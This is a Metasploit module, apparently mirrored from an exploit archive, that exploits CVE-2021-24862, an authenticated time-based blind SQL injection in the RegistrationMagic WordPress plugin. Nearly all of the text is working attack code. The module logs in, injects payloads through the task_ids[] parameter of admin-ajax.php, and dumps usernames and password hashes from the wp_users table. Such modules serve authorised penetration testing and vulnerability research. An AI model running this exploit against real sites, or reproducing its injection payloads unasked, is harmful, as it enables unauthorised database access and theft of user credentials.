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## https://sploitus.com/exploit?id=PACKETSTORM:181166
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HTTP::Wordpress
include Msf::Auxiliary::Scanner
include Msf::Exploit::SQLi
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Wordpress RegistrationMagic task_ids Authenticated SQLi',
'Description' => %q{
RegistrationMagic, a WordPress plugin,
prior to 5.0.1.5 is affected by an authenticated SQL injection via the
task_ids parameter.
},
'Author' => [
'h00die', # msf module
'Hacker5preme (Ron Jost)', # edb
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2021-24862'],
['URL', 'https://github.com/Hacker5preme/Exploits/blob/main/Wordpress/CVE-2021-24862/README.md'],
['EDB', '50686'],
],
'Actions' => [
['List Users', { 'Description' => 'Queries username, password hash for COUNT users' }]
],
'DefaultAction' => 'List Users',
'DisclosureDate' => '2022-01-23',
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [IOC_IN_LOGS],
'Reliability' => []
}
)
)
register_options [
OptInt.new('COUNT', [false, 'Number of users to enumerate', 3]),
OptString.new('USERNAME', [true, 'Valid Username for login', '']),
OptString.new('PASSWORD', [true, 'Valid Password for login', ''])
]
end
def check_host(_ip)
unless wordpress_and_online?
return Msf::Exploit::CheckCode::Safe('Server not online or not detected as wordpress')
end
checkcode = check_plugin_version_from_readme('custom-registration-form-builder-with-submission-manager', '5.0.1.6')
if checkcode == Msf::Exploit::CheckCode::Safe
return Msf::Exploit::CheckCode::Safe('RegistrationMagic version not vulnerable')
end
print_good('Vulnerable version of RegistrationMagic detected')
checkcode
end
def run_host(ip)
cookie = wordpress_login(datastore['USERNAME'], datastore['PASSWORD'])
fail_with(Failure::NoAccess, 'Invalid login, check credentials') if cookie.nil?
formid = Rex::Text.rand_text_numeric(2)
vprint_status("Using formid of: #{formid}")
@sqli = create_sqli(dbms: MySQLi::TimeBasedBlind, opts: { hex_encode_strings: true }) do |payload|
d = Rex::Text.rand_text_numeric(4)
res = send_request_cgi({
'method' => 'POST',
'cookie' => cookie,
'uri' => normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php'),
'vars_get' => {
'page' => 'rm_ex_chronos_edit_task',
'rm_form_id' => '2'
},
'vars_post' => {
'action' => 'rm_chronos_ajax',
'rm_chronos_ajax_action' => 'duplicate_tasks_batch',
'task_ids[]' => "#{formid}) AND (SELECT #{Rex::Text.rand_text_numeric(4)} FROM (SELECT(#{payload}))#{Rex::Text.rand_text_alpha(4)}) AND (#{d}=#{d}"
}
})
fail_with Failure::Unreachable, 'Connection failed' unless res
end
unless @sqli.test_vulnerable
print_bad("#{peer} - Testing of SQLi failed. If this is time based, try increasing SqliDelay.")
return
end
columns = ['user_login', 'user_pass']
print_status('Enumerating Usernames and Password Hashes')
data = @sqli.dump_table_fields('wp_users', columns, '', datastore['COUNT'])
table = Rex::Text::Table.new('Header' => 'wp_users', 'Indent' => 1, 'Columns' => columns)
data.each do |user|
create_credential({
workspace_id: myworkspace_id,
origin_type: :service,
module_fullname: fullname,
username: user[0],
private_type: :nonreplayable_hash,
jtr_format: Metasploit::Framework::Hashes.identify_hash(user[1]),
private_data: user[1],
service_name: 'Wordpress',
address: ip,
port: datastore['RPORT'],
protocol: 'tcp',
status: Metasploit::Model::Login::Status::UNTRIED
})
table << user
end
print_good('Dumped table contents:')
print_line(table.to_s)
end
end